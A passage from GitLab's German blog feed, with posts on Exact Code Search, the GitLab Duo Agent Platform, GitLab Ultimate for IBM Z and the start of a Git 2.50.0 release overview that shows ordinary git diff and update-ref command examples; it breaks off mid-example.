<p>Exact Code Search befindet sich derzeit in der Beta-Phase für GitLab.com-Nutzer mit Premium- und Ultimate-Lizenzen:</p>
<ul>
<li>Verfügbar für über 99% der lizenzierten Gruppen</li>
<li>Die Suche in der UI nutzt automatisch Zoekt, wenn verfügbar, Exact Code Search in der Such-API ist hinter einem Feature-Flag</li>
</ul>
<h3>Bereitstellungsoptionen für Self-Managed</h3>
<p>Für Self-Managed-Instanzen bieten wir mehrere Bereitstellungsmethoden:</p>
<ul>
<li>Kubernetes/Helm: Unsere am besten unterstützte Methode, mit unserem <a href="https://gitlab.com/gitlab-org/cloud-native/charts/gitlab-zoekt"><code>gitlab-zoekt</code> Helm Chart</a></li>
<li>Andere Bereitstellungsoptionen: Wir arbeiten an der Vereinfachung der Bereitstellung für Omnibus und andere Installationsmethoden</li>
</ul>
<p>Die Systemanforderungen hängen von deiner Codebasis-Größe ab, aber die Architektur ist darauf ausgelegt, horizontal und/oder vertikal zu skalieren, wenn deine Anforderungen wachsen.</p>
<h2>Was als Nächstes kommt</h2>
<p>Während Exact Code Search bereits leistungsstark ist, verbessern wir sie kontinuierlich:</p>
<ul>
<li><strong>Skalierungsoptimierungen</strong> zur Unterstützung von Instanzen mit Hunderttausenden von Repositories</li>
<li><strong>Verbesserte Self-Managed-Bereitstellungsoptionen</strong>, einschließlich vereinfachter Omnibus-Unterstützung</li>
<li><strong>Vollständige Hochverfügbarkeits-Unterstützung</strong> mit automatischem Failover und Load Balancing</li>
</ul>
<p>Bleib dran für Updates, während wir von Beta zu General Availability übergehen.</p>
<h2>Transformiere deine Arbeitsweise mit Code</h2>
<p>GitLabs Exact Code Search repräsentiert ein grundlegendes Umdenken bei der Code-Entdeckung. Durch die Bereitstellung exakter Treffer, leistungsstarker Regex-Unterstützung und kontextbezogener Ergebnisse löst sie die frustrierendsten Aspekte der Code-Suche:</p>
<ul>
<li>Keine Zeitverschwendung mehr mit irrelevanten Ergebnissen</li>
<li>Keine wichtigen Treffer mehr verpassen</li>
<li>Kein Durchklicken von Dateien mehr nur für grundlegendes Verständnis</li>
<li>Keine Performance-Probleme mehr bei wachsenden Codebasen</li>
</ul>
<p>Die Auswirkungen gehen über die individuelle Produktivität hinaus:</p>
<ul>
<li><strong>Teams arbeiten besser zusammen</strong> mit einfacher Code-Referenzierung</li>
<li><strong>Wissensaustausch beschleunigt sich</strong>, wenn Muster auffindbar sind</li>
<li><strong>Onboarding wird schneller</strong> mit schnellem Codebasis-Verständnis</li>
<li><strong>Sicherheit verbessert sich</strong> mit effektivem Muster-Auditing</li>
<li><strong>Abbau technischer Schulden</strong> wird machbarer</li>
</ul>
<p>Exact Code Search ist nicht nur eine Funktion, es ist eine bessere Art, Code zu verstehen und damit zu arbeiten. Hör auf zu suchen und fang an zu finden.</p>
<p><strong>Wir würden gerne von dir hören!</strong> Teile deine Erfahrungen, Fragen oder Feedback zu Exact Code Search in unserem <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/420920">Feedback-Issue</a>. Dein Input hilft uns, Verbesserungen und neue Funktionen zu priorisieren.</p>
<blockquote>
<h4>Bereit für smartere Code-Suche? Erfahre mehr in unserer <a href="https://docs.gitlab.com/ee/user/search/exact_code_search.html">Dokumentation</a> oder probiere es jetzt aus, indem du eine Suche in deinen Premium- oder Ultimate-lizenzierten Namespaces oder Projekten durchführst. Noch kein GitLab-Nutzer? Teste <a href="https://about.gitlab.com/free-trial/">kostenlos GitLab Ultimate mit Duo für 60 Tage</a>!</h4>
</blockquote>
]]></content>
        <author>
            <name>Dmitry Gruzd</name>
            <uri>https://about.gitlab.com/blog/authors/dmitry-gruzd</uri>
        </author>
        <published>2025-06-25T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Die Zukunft ist da: GitLab Duo lässt dich mit 100+ KI-Agenten arbeiten]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops/"/>
        <updated>2025-06-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Ich freue mich, die nächste Weiterentwicklung von Duo Workflow vorstellen zu können: die GitLab Duo Agent Platform. Diese innovative Plattform erweitert die agentischen Fähigkeiten auf den gesamten Softwareentwicklungszyklus und ermöglicht es Teams, parallel mit mehreren KI-Agenten zu arbeiten.</p>
<p>Stell dir vor, du beginnst deinen Tag so:</p>
<ul>
<li>Du weist einen KI-Agenten an, Recherchen zu einem Epic durchzuführen, an dem dein Team arbeitet, die neuesten Updates zu allen Beiträgen der letzten Woche bereitzustellen und einen Veröffentlichungsbeitrag basierend auf den neuesten Funktionserweiterungen vorzuschlagen.</li>
<li>Gleichzeitig beauftragst du mehrere Agenten mit der Analyse einiger Fehler bei der Barrierefreiheit und der Durchführung der erforderlichen Codeänderungen, um diese zu beheben.</li>
<li>In der Zwischenzeit bittest du einen weiteren Agenten, deine komplizierten Codeänderungen zu überprüfen und Feedback zu geben, bevor du sie zur formellen Überprüfung an ein Teammitglied sendest.</li>
<li>Als dich schließlich das Sicherheitsteam über eine neue Sicherheitslücke informiert, die im gesamten Projekt untersucht werden muss, übergibst du diese Rechercheaufgabe an deinen Sicherheitsagenten.</li>
</ul>
<p>All das passiert gleichzeitig, während du dich auf Architekturentscheidungen, kreative Problemlösungen und strategische technische Arbeit konzentrieren kannst. Mit der GitLab Duo Agent Platform kannst du Aufgaben an fünf, zehn oder sogar 100 spezialisierte Agenten delegieren. Jeder davon kennt den vollständigen Kontext deines Projekts, nicht nur deinen Code, einschließlich CI-Jobprotokolle, Planungsaufgaben und vieles mehr. Du automatisierst die mühsame Arbeit, die du erledigen musst, damit du dich auf die Arbeit konzentrieren kannst, die dich inspiriert.</p>
<p><strong>Es geht dabei nicht darum, Entwickler(innen) zu ersetzen. Es geht darum, die menschliche Kreativität und das Fachwissen zu verstärken, indem Routineaufgaben vereinfacht werden.</strong> Das ist die Zukunft, die wir mit der GitLab Duo Agent Platform gestalten.</p>
<h2>Was ist die GitLab Duo Agent Platform?</h2>
<p>Die GitLab Duo Agent Platform ermöglicht eine umfassende Zusammenarbeit zwischen Entwickler(inne)n und <a href="https://about.gitlab.com/de-de/topics/agentic-ai/">KI-Agenten</a> über den gesamten Software-Entwicklungsprozess hinweg, um Teams dabei zu helfen, ihre Produktivität zu steigern und die Bearbeitungszeit drastisch zu verkürzen.</p>
<p>Die GitLab Duo Agent Platform basiert auf der sicheren Grundlage von GitLab und ist anpassbar und erweiterbar. Sie ermöglicht es Entwickler(inne)n, Agenten zu erstellen, die alle Arten von Software-Engineering-Problemen lösen können und dabei den Kontext über den gesamten Software-Entwicklungsprozess hinweg nutzen.</p>
<p>Die GitLab Duo Agent Platform bietet mehr als nur die Erstellung von Code. Mit spezialisierten Agenten und benutzerdefinierten Workflows unterstützt sie eine nahezu unbegrenzte Anzahl von Aktivitäten, darunter:</p>
<ul>
<li>Implementierung von Tickets</li>
<li>Groß angelegte Migrationen/Upgrades von Abhängigkeiten</li>
<li>Automatisierte Erstellung von Dokumentationen/Veröffentlichungsbeiträge</li>
<li>Fehlerbehebung bei fehlgeschlagenen CI/CD-Pipelines</li>
<li>Unterstützung bei der Untersuchung von Vorfällen</li>
<li>Detaillierte Recherche zu Status und Informationsbeschaffung zu festgelegten Themen</li>
<li>Verwaltung von Backlogs</li>
<li>Behebung von Sicherheitslücken</li>
<li>Reviews für bestimmte Arten von Code (z. B. Datenbanken)</li>
<li>Schnelle interne Toolerstellung auf Basis vorhandener Build-Blöcke</li>
<li>und vieles mehr!</li>
</ul>
<p>Du kannst unsere Agenten sofort einsetzen, anpassen und erweitern. Wir testen die GitLab Duo Agent Platform derzeit mit Dutzenden von Kund(inn)en und werden bald mehr Teams den Zugang zur Beta-Version ermöglichen.</p>
<p>Sieh dir die GitLab Duo Agent Platform in Aktion an:</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1095679084?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Agent Platform Demo Clip&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>Wähle deine Tools, deine Modelle und deine Agenten</h2>
<p>Da GitLab eine offene Plattform ist, arbeiten GitLab-Agenten nahtlos mit den von dir gewählten Entwicklertools zur Codeerstellung über das Standard Model Context Protocol (MCP) und das Agent-to-Agent-Framework (A2A) zusammen, unabhängig davon, ob du Cursor, Claude Code, Windsurf, OpenAI Codex oder andere Tools verwendest.</p>
<p>Die Plattform akzeptiert Codebeiträge von jedem Entwicklungstool in deinem Stack, unabhängig davon, ob der Code von einem Menschen geschrieben oder von einem KI-Agenten generiert wurde. Das bedeutet, dass deine vorhandenen Workflows und bevorzugten Tools weiterhin nahtlos funktionieren, wenn du Agentenfunktionen integrierst.</p>
<p>Die GitLab Duo Agent Platform funktioniert mit jedem zugelassenen Sprachmodell, das <a href="https://about.gitlab.com/de-de/ai-transparency-center/#ai-continuity-plan">unsere Auswahlkriterien erfüllt</a>. Für Unternehmen mit strengen Sicherheitsanforderungen unterstützt die Plattform genehmigte, selbst gehostete Modelle, die in vollständig isolierten Umgebungen ausgeführt werden. Deine Infrastrukturanforderungen und Sicherheitsrichtlinien schränken deine Möglichkeiten, von der agentischen Entwicklung zu profitieren, nicht ein.</p>
<h2>Kontext ist alles, und deine GitLab-Duo-Agenten kennen ihn</h2>
<p>Der Unterschied zwischen einem hilfreichen KI-Tool und einem wirklich intelligenten Agenten liegt im Kontext. Mit der GitLab Duo Agent Platform arbeiten die Agenten nicht isoliert, sondern sind tief in die Plattform integriert, auf der die Entwicklungsarbeit stattfindet.</p>
<p>Jeder Agent kennt automatisch das Gesamtbild deiner Projekte, einschließlich deiner offenen Tickets und deren Verlauf, der Merge Requests, die sie gelöst haben, der Struktur und der Logik hinter deinem Code, deiner CI/CD-Pipeline-Konfigurationen, der Sicherheitserkenntnisse, der Konformitätsanforderungen und der komplexen Beziehungen zwischen all diesen Komponenten.</p>
<p>Genau wie deine menschlichen Teammitglieder verfügen die Agenten über den gesamten Kontext, um dir zu helfen, sichere Software schneller bereitzustellen. Anstatt nur Fragen zum Code zu beantworten, können sie Einblicke geben, wie sich eine vorgeschlagene Änderung auf deine Bereitstellungspipeline auswirken könnte, oder Sicherheitsverbesserungen auf der Grundlage deiner bestehenden Compliance-Regeln vorschlagen. Wir sind der Meinung, dass deine Agenten umso intelligenter werden, je mehr dein Team innerhalb der DevSecOps-Plattform von GitLab arbeitet.</p>
<h2>Behalte die Kontrolle, während die Agenten dein Team skalieren</h2>
<p>Der Aufbau von Vertrauen in KI-Agenten unterscheidet sich nicht grundlegend vom Aufbau von Vertrauen in neue Teammitglieder. Du musst ihre Arbeit sehen, ihren Ansatz verstehen und ihre Verantwortung schrittweise erhöhen, wenn sie ihre Kompetenz unter Beweis stellen.</p>
<p>Das ist die Philosophie hinter unserem Workflow zum Agenten-Approval. Bevor ein Agent Änderungen an deinem Code oder deiner Umgebung vornimmt, legt er dir einen klaren Plan vor: Er zeigt auf, was er über das Ticket weiß, welchen Ansatz er verfolgen wird und welche spezifischen Aktionen er ausführen möchte. Du hast dann die Möglichkeit, den Plan zu überprüfen, zu genehmigen oder bei Bedarf anzupassen. Wenn die Agenten konsequent qualitativ hochwertige Arbeit leisten, kannst du ihnen im Laufe der Zeit mehr Autonomie für Routineaufgaben gewähren und gleichzeitig die Kontrolle über komplexe oder kritische Arbeiten behalten.</p>
<h2>Entwickelt für Community und Anpassung</h2>
<p>GitLab hat schon immer von den Beiträgen der Community profitiert, und dieses Jahr war ein Meilenstein mit einer rekordverdächtig hohen Zahl an Kundenbeiträgen zu unserer Plattform. Jetzt übertragen wir diese kollaborative Energie durch unseren offenen Framework-Ansatz auf KI-Agenten.</p>
<p>Bei der GitLab Duo Agent Platform geht es nicht nur um die Agenten, die wir entwickeln, sondern darum, dich und die breitere Community in die Lage zu versetzen, spezialisierte Agenten zu erstellen, die deine einzigartigen technischen Herausforderungen lösen. Egal, ob du einen Agenten benötigst, der deine spezifischen Programmierstandards versteht, sich in deine benutzerdefinierte Toolchain integrieren lässt oder domänenspezifische Aufgaben erledigt, die Plattform bietet dir die Bausteine, um dies zu erreichen.</p>
<p>Dieses auf die Community ausgerichtete Modell schafft einen positiven Kreislauf, der die Stärke der GitLab-Community durch globalen Austausch nutzt, ähnlich wie unser <a href="https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/">CI/CD-Katalog (nur in englischer Sprache verfügbar)</a>. Vielfältige Anwendungsfälle aus der Praxis treiben Innovationen voran. Feedback von Unternehmen sorgt für Zuverlässigkeit und Sicherheit. Und gemeinsame Lösungen kommen allen zugute. Es ist derselbe kollaborative Ansatz, der GitLab erfolgreich gemacht hat und nun auf die neuesten Entwicklungen im Bereich der Agentenentwicklung angewendet wird.</p>
<h2>Erste Schritte</h2>
<p>Wenn du mit <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover/">GitLab Duo Agentic Chat</a> experimentiert hast, das jetzt in jeder Premium- und Ultimate-GitLab.com-Benutzerlizenz von GitLab 18 enthalten ist, hast du bereits einen Vorgeschmack darauf bekommen, was mit KI-Agenten in deinem Entwicklungsworkflow möglich ist.</p>
<p>Was die GitLab Duo Agent Platform kann und woran wir arbeiten, kannst du dir in den <a href="https://about.gitlab.com/de-de/eighteen/">Demos der Aufzeichnung unseres Release-Events von GitLab 18 Release-Events</a> ansehen.</p>
<p>Möchtest du zu den Ersten gehören, die es erleben? Dann melde dich für die <a href="https://about.gitlab.com/gitlab-duo/agent-platform/">Beta-Warteliste für die GitLab Duo Agent Platform (nur in englischer Sprache verfügbar)</a> an. In diesem Sommer werden wir mehr Teams den Zugang ermöglichen und im Laufe des Jahres werden neue Agentenfunktionen in den kommenden Releases von GitLab 18 veröffentlicht. Wir erwarten die allgemeine Verfügbarkeit im Winter.</p>
<p><em>Haftungsausschlussklausel: Dieser Blogbeitrag enthält Informationen zu kommenden Produkten, Funktionen und Funktionalitäten. Bitte beachte, dass die Informationen auf dieser Seite nur zu Informationszwecken dienen. Bitte verlasse dich nicht auf diese Informationen, wenn du etwas kaufen oder planen möchtest. Wie bei allen Projekten können sich die hier und auf den verlinkten Seiten genannten Punkte ändern oder verzögern. Die Entwicklung, Freigabe und der Zeitplan von Produkten, Funktionen oder Funktionalitäten liegen im alleinigen Ermessen von GitLab Inc.</em></p>
<h2>Mehr erfahren</h2>
<ul>
<li><a href="https://about.gitlab.com/the-source/ai/from-vibe-coding-to-agentic-ai-a-roadmap-for-technical-leaders/">Vom Vibe Coding zur agentischen KI: Eine Roadmap für technische Führungskräfte (nur in englischer Sprache verfügbar)</a></li>
<li><a href="https://about.gitlab.com/de-de/topics/agentic-ai/">Was ist agentische KI?</a></li>
<li><a href="https://about.gitlab.com/topics/agentic-ai/devops-automation-ai-agents/">DevOps-Automatisierung und KI-Agenten (nur in englischer Sprache verfügbar)</a></li>
<li><a href="https://about.gitlab.com/topics/agentic-ai/ai-augmented-software-development/">KI-gestützte Softwareentwicklung: Agentische KI für DevOps (nur in englischer Sprache verfügbar)</a></li>
<li><a href="https://about.gitlab.com/topics/agentic-ai/ai-code-analysis/">KI-gestützte Codeanalyse: Die neue Grenze der Codesicherheit (nur in englischer Sprache verfügbar)</a></li>
</ul>
]]></content>
        <author>
            <name>Bill Staples</name>
            <uri>https://about.gitlab.com/blog/authors/bill-staples</uri>
        </author>
        <published>2025-06-24T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Ultimate für IBM Z: Moderne DevSecOps für Mainframes]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes/"/>
        <updated>2025-06-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab und IBM haben sich zusammengeschlossen, um eine grundlegende Diskrepanz in der Unternehmensentwicklung zu lösen: Mainframe-Entwickler(innen) sollen mit denselben modernen Tools, Workflows und Kollaborationsfunktionen arbeiten können wie ihre Kolleg(inn)en in verteilten Umgebungen.</p>
<p>GitLab Ultimate für IBM Z, eine von GitLab zertifizierte, integrierte DevSecOps-Lösung, die speziell für die Mainframe-Umgebung entwickelt wurde, macht genau das möglich: Sie ermöglicht es Unternehmen, ihre Mainframe-Entwicklungsworkflows zu modernisieren, indem eine nahtlose Migration von veralteten Legacy-Bibliotheksmanagern erleichtert wird. Mit CI/CD-Pipelines, die nativ auf IBM z/OS laufen, erleben Kund(inn)en beschleunigte Innovation und reduzierte Betriebskosten.</p>
<h2>Herausforderungen der heutigen Mainframe-Entwicklung</h2>
<p>Unternehmen, die IBM Z-Systeme für geschäftskritische Workloads einsetzen, stehen vor Herausforderungen, für die herkömmliche DevSecOps-Tools nicht ausgestattet sind. Cloud-native Teams profitieren von modernen <a href="https://about.gitlab.com/topics/ci-cd/">CI/CD</a>-Pipelines, kollaborativer Entwicklung und automatisierten Tests. Im Gegensatz dazu werden Mainframe-Teams oft zurückgelassen – sie stecken mit veralteten Tools fest, die zu kostspieligen Ineffizienzen und operativen Silos führen.</p>
<p>Teams greifen oft auf Workarounds zurück, wie SSH-Verbindungen und manuelle Dateiübertragungen, die Sicherheitslücken schaffen und Audits erschweren. Wenn Compliance-Anforderungen streng sind, werden diese improvisierten Lösungen zu inakzeptablen Risiken. Gleichzeitig unterhalten Organisationen teure parallele Toolchains, wobei Legacy-Mainframe-Entwicklungstools Premium-Lizenzkosten verursachen, während sie im Vergleich zu modernen Alternativen nur eingeschränkte Funktionalität bieten.</p>
<p>Diese Fragmentierung schafft zwei Probleme: langsamere Bereitstellungszyklen und Schwierigkeiten bei der Rekrutierung von Entwickler(inne)n, die modernste Prozesse erwarten.</p>
<blockquote>
<p><strong>„GitLab Ultimate für IBM Z stellt einen wichtigen Schritt zur Bewältigung einer langjährigen Branchenherausforderung dar. IDC-Forschung zeigt, dass Mainframe-Entwickler(innen) oft mit Legacy-Tools arbeiten, die zu Bereitstellungsineffizienzen beitragen und es schwieriger machen, neue Talente anzuziehen. Mit diesem Angebot werden moderne DevSecOps-Fähigkeiten und einheitliche Workflows direkt auf den Mainframe gebracht. Dies befähigt Entwickler(innen), kollaborativer und effizienter zu arbeiten, während es Organisationen hilft, Innovation zu beschleunigen und Mainframe-Entwicklung in breitere digitale Transformationsstrategien zu integrieren.&quot;</strong> - Katie Norton, Research Manager, DevSecOps und Software Supply Chain Security bei IDC</p>
</blockquote>
<h2>Vereinheitlichte Entwicklungsumgebungen</h2>
<p>Wahre Modernisierung bedeutet mehr als nur die Aktualisierung der Mainframe-Entwicklung. Es bedeutet, eine einheitliche Plattform zu schaffen, auf der Mainframe-, Cloud-native-, Web- und Mobile-Entwicklungsteams nahtlos zusammenarbeiten.</p>
<p>GitLab Ultimate für IBM Z ermöglicht es Entwickler(inne)n, konsistente Workflows zu verwenden, unabhängig davon, ob sie auf z/OS, Cloud oder On-Premises-Infrastruktur bereitstellen – Wissen wird zwischen Teams übertragen, anstatt in Silos zu verbleiben. Organisationen können schrittweise modernisieren, ohne Geschäftsunterbrechungen, da Legacy-Systeme weiterhin funktionieren, während Teams moderne Praktiken in ihrem eigenen Tempo übernehmen.</p>
<p>Während Organisationen Hybrid-Cloud-Strategien verfolgen, bietet GitLab die Grundlage für Anwendungen, die sich über Mainframe- und Cloud-native-Umgebungen erstrecken.</p>
<h2>Was ist GitLab Ultimate für IBM Z?</h2>
<p>GitLab Ultimate für IBM Z bietet native z/OS-Runner-Unterstützung und ermöglicht eine nahtlose CI/CD-Pipeline-Ausführung direkt auf Ihrer Mainframe-Infrastruktur. Diese von GitLab zertifizierte Lösung hilft, die Notwendigkeit komplexer Workarounds zu eliminieren und gleichzeitig die Sicherheit und Zuverlässigkeit zu gewährleisten, die Ihre Unternehmensanwendungen erfordern.</p>
<p>Die Kombination aus GitLabs umfassender DevSecOps-Plattform und IBMs tiefgreifender Mainframe-Expertise schafft etwas Einzigartiges auf dem Markt: eine zertifizierte Lösung, die eine echte Brücke zwischen unternehmenskritischen Legacy-Systemen und Cloud-nativer Innovation bietet.</p>
<h2>GitLab Ultimate für IBM Z Funktionen</h2>
<p>GitLab Ultimate für IBM Z bietet Unternehmensteams die Tools, die sie benötigen, um die Mainframe-Entwicklung zu modernisieren und gleichzeitig kritische Geschäftssysteme zu erhalten.</p>
<p><strong>Native z/OS-Runner-Unterstützung</strong> hilft, Sicherheitsrisiken und Skalierbarkeitsengpässe im Zusammenhang mit Remote-Verbindungen zu eliminieren, während die Bereitstellung durch CI/CD-Pipelines beschleunigt wird, die direkt dort ausgeführt werden, wo sich Ihr Mainframe-Code befindet.</p>
<p><strong>Einheitliches Source Code Management</strong> modernisiert Toolchains, indem teure Legacy-Bibliotheksmanager durch GitLabs durchsuchbares, versionskontrolliertes Repository-System ersetzt werden, was zur Reduzierung von Lizenzkosten und Wartungsaufwand beiträgt.</p>
<p><strong>Nahtlose Integration</strong> mit IBM Developer for z/OS Enterprise Edition (IDzEE) liefert schnellere Software-Releases durch abhängigkeitsbasierte Builds, automatisiertes Code-Scanning und umfassende Debugging-Tools in vertrauten Entwicklerumgebungen, wodurch sowohl Qualität als auch Sicherheit verbessert werden.</p>
<p><strong>End-to-End-Transparenz</strong> über Mainframe- und verteilte Umgebungen hinweg bietet umfassendes Projektmanagement von der Planung bis zur Produktion und ermöglicht automatisierte DevOps-Workflows, die durch moderne Entwicklungstools der nächsten Generation zur Talentbindung beitragen.</p>
<h2>Modernisiere deine Mainframe-Entwicklungsumgebung noch heute</h2>
<p>GitLab Ultimate für IBM Z ist jetzt für Organisationen verfügbar, die bereit sind, ihre Mainframe-Entwicklungserfahrung zu transformieren. Weitere Informationen befinden sich auf der <a href="https://about.gitlab.com/de-de/partners/technology-partners/ibm/">GitLab und IBM Partnerseite</a>.</p>
]]></content>
        <author>
            <name>Mike Flouton</name>
            <uri>https://about.gitlab.com/blog/authors/mike-flouton</uri>
        </author>
        <author>
            <name>Andy Bradfield</name>
            <uri>https://about.gitlab.com/blog/authors/andy-bradfield</uri>
        </author>
        <published>2025-06-20T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Was gibt es Neues in Git 2.50.0?]]></title>
        <id>https://about.gitlab.com/de-de/blog/what-s-new-in-git-2-50-0/</id>
        <link href="https://about.gitlab.com/de-de/blog/what-s-new-in-git-2-50-0/"/>
        <updated>2025-06-16T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Das Git-Projekt hat kürzlich <a href="https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/T/#u">Git Version 2.50.0</a> veröffentlicht. Werfen wir einen Blick auf die Highlights dieser Veröffentlichung, die Beiträge des Git-Teams von GitLab und der gesamten Git-Community enthält.</p>
<h2>Neuer Befehl git-diff-pairs(1)</h2>
<p>Diffs sind das Herzstück jeder Code Review und zeigen alle Änderungen, die zwischen zwei Revisionen vorgenommen wurden. GitLab zeigt Diffs an verschiedenen Stellen an, am häufigsten aber auf der <a href="https://docs.gitlab.com/user/project/merge_requests/changes/">Registerkarte „Änderungen“ (in englischer Sprache verfügbar)</a> eines Merge Requests.</p>
<p>Im Hintergrund wird die Diff-Generierung von <a href="https://git-scm.com/docs/git-diff/de"><code>git-diff(1)</code></a> verwendet. Ein Beispiel:</p>
<pre><code class="language-shell">$ git diff HEAD~1 HEAD
</code></pre>
<p>Dieser Befehl gibt das vollständige Diff für alle geänderten Dateien zurück. Dies kann eine Herausforderung für die Skalierbarkeit darstellen, vor allem, wenn die Anzahl der Dateien, die innerhalb einer Reihe von Revisionen geändert wurden, sehr groß ist. Dies kann dazu führen, dass der Befehl selbst auferlegte Zeitlimits für das GitLab-Backend erreicht. Bei großen Änderungen wäre es besser, wenn
es eine Möglichkeit gäbe, die Diff-Berechnung in kleinere, leichter verarbeitbare Blöcke zu unterteilen.</p>
<p>Eine Möglichkeit dafür ist die Verwendung von
<a href="https://git-scm.com/docs/git-diff-tree"><code>git-diff-tree(1)</code> (in englischer Sprache verfügbar)</a>, um Informationen
über alle geänderten Dateien abzurufen:</p>
<pre><code class="language-shell">$ git diff-tree -r -M --abbrev HEAD~ HEAD
:100644 100644 c9adfed339 99acf81487 M      Documentation/RelNotes/2.50.0.adoc
:100755 100755 1047b8d11d 208e91a17f M      GIT-VERSION-GEN
</code></pre>
<p>Git bezeichnet diese Ausgabe als <a href="https://git-scm.com/docs/git-diff-tree#_raw_output_format">„unbearbeitetes“ Format (in englischer Sprache verfügbar)</a>.
Kurz gesagt, listet jede Zeile der Ausgabe Dateipaare und die dazugehörigen Metadaten
darüber auf, was sich zwischen dem Anfangscode und der letzten Revision geändert hat. Im Vergleich zur
Erzeugung der „Patch“-Ausgabe für große Änderungen verläuft dieser Prozess relativ
schnell und liefert eine Zusammenfassung aller Änderungen. Dieser Befehl kann optional eine Umbenennungserkennung durchführen, indem das Flag <code>-M</code> angehängt wird. So kannst du überprüfen, ob identifizierte Änderungen auf eine Dateiumbenennung zurückzuführen sind.</p>
<p>Mit diesen Informationen könnten wir <code>git-diff(1)</code> verwenden, um jedes der
Dateipaar-Diffs einzeln zu erstellen. Zum Beispiel können wir die Blob-IDs
direkt angeben:</p>
<pre><code class="language-shell">$ git diff 1047b8d11de767d290170979a9a20de1f5692e26 208e91a17f04558ca66bc19d73457ca64d5385f
</code></pre>
<p>Wir können diesen Vorgang für jedes der Dateipaare wiederholen, aber es ist nicht sehr effizient, für jede einzelne Datei einen
separaten Git-Prozess zu starten.
Außerdem verliert das Diff bei der Verwendung von Blob-IDs einige Kontextinformationen,
wie den Änderungsstatus und die Dateimodi, die im übergeordneten
Baumobjekt gespeichert sind. Was wir wirklich möchten, ist ein Mechanismus, um „unbearbeitete“ Dateipaarinformationen einzuspeisen und
die entsprechende Patch-Ausgabe zu generieren.</p>
<p>Mit der Version 2.50 bietet Git einen neuen integrierten Befehl mit der Bezeichnung
<a href="https://git-scm.com/docs/git-diff-pairs"><code>git-diff-pairs(1)</code> (in englischer Sprache verfügbar</a>. Dieser Befehl
akzeptiert „unbearbeitete“ formatierte Dateipaarinformationen als Eingabe auf stdin, um exakt zu bestimmen, welche Patches ausgegeben werden sollen. Das folgende Beispiel zeigt, wie dieser Befehl
verwendet werden kann:</p>
<pre><code class="language-shell">$ git diff-tree -r -z -M HEAD~ HEAD | git diff-pairs -z
</code></pre>
<p>Bei dieser Nutzung ist die resultierende Ausgabe identisch mit der Verwendung von <code>git-diff(1)</code>.
Durch einen separaten Befehl zur Generierung der Patch-Ausgabe kann die „unbearbeitete“ Ausgabe von
<code>git-diff-tree(1)</code> in kleinere Chargen von Dateipaaren aufgeteilt und separaten
<code>git-diff-pairs(1)</code>-Prozessen zugeführt werden. Dies löst das zuvor erwähnte
Skalierbarkeitsproblem, da die Diffs nicht länger alle auf einmal berechnet werden müssen. Zukünftige
GitLab-Versionen könnten auf diesem Mechanismus aufbauen, um die Leistung der
Diff-Generierung zu verbessern, insbesondere wenn es sich um große Änderungssätze
handelt. Weitere Informationen zu dieser Änderung findest du im entsprechenden
<a href="https://lore.kernel.org/git/20250228213346.1335224-1-jltobler@gmail.com/">Mailinglisten-Thread</a>.</p>
<p><em>Dieses Projekt wurde von <a href="https://gitlab.com/justintobler">Justin Tobler</a> geleitet.</em></p>
<h2>Gesammelte Referenz-Updates</h2>
<p>Mit dem Git-Befehl <a href="https://git-scm.com/docs/git-update-ref"><code>git-update-ref(1)</code> (in englischer Sprache verfügbar)</a></p>
<p>kannst du Referenzaktualisierungen durchführen. Bei Verwendung mit dem Flag <code>--stdin</code> können</p>
<p>mehrere Referenzaktualisierungen in einer einzigen Transaktion gebündelt werden, indem Anweisungen für jede Referenzaktualisierung
angegeben werden, die auf stdin durchgeführt werden soll.
Die Massenaktualisierung von Referenzen auf diese Weise zeigt auch ein atomares Verhalten, bei dem ein
einzelner Fehler bei der Referenzaktualisierung eine Transaktion abbricht und
Referenzen nicht aktualisiert werden. Hier ist ein Beispiel für dieses Verhalten:</p>
<pre><code class="language-shell"># Erstelle ein Repository mit drei leeren Commits und einem Branch mit dem Namen „foo“
$ git init
$ git commit --allow-empty -m 1
$ git commit --allow-empty -m 2
$ git commit --allow-empty -m 3
$ git branch foo

# Gib die Commit-IDs aus
$ git rev-list HEAD
cf469bdf5436ea1ded57670b5f5a0797f72f1afc
5a74cd330f04b96ce0666af89682d4d7580c354c
5a6b339a8ebffde8c0590553045403dbda831518

# Versuche, eine neue Referenz zu erstellen und die vorhandene Referenz in der Transaktion zu aktualisieren.
# Es wird erwartet, dass die Aktualisierung fehlschlägt, da die angegebene alte Objekt-ID nicht richtig ist.
$ git update-ref --stdin &lt;&lt;EOF
&gt; create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc
&gt; update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c
&gt; EOF
fatal: cannot lock ref 'refs/heads/foo': is at cf469bdf5436ea1ded57670b5f5a0797f72f1afc but expected 5a74cd330f04b96ce0666af89682d4d7580c354c

# Die Referenz „bar“ wurde nicht erstellt.
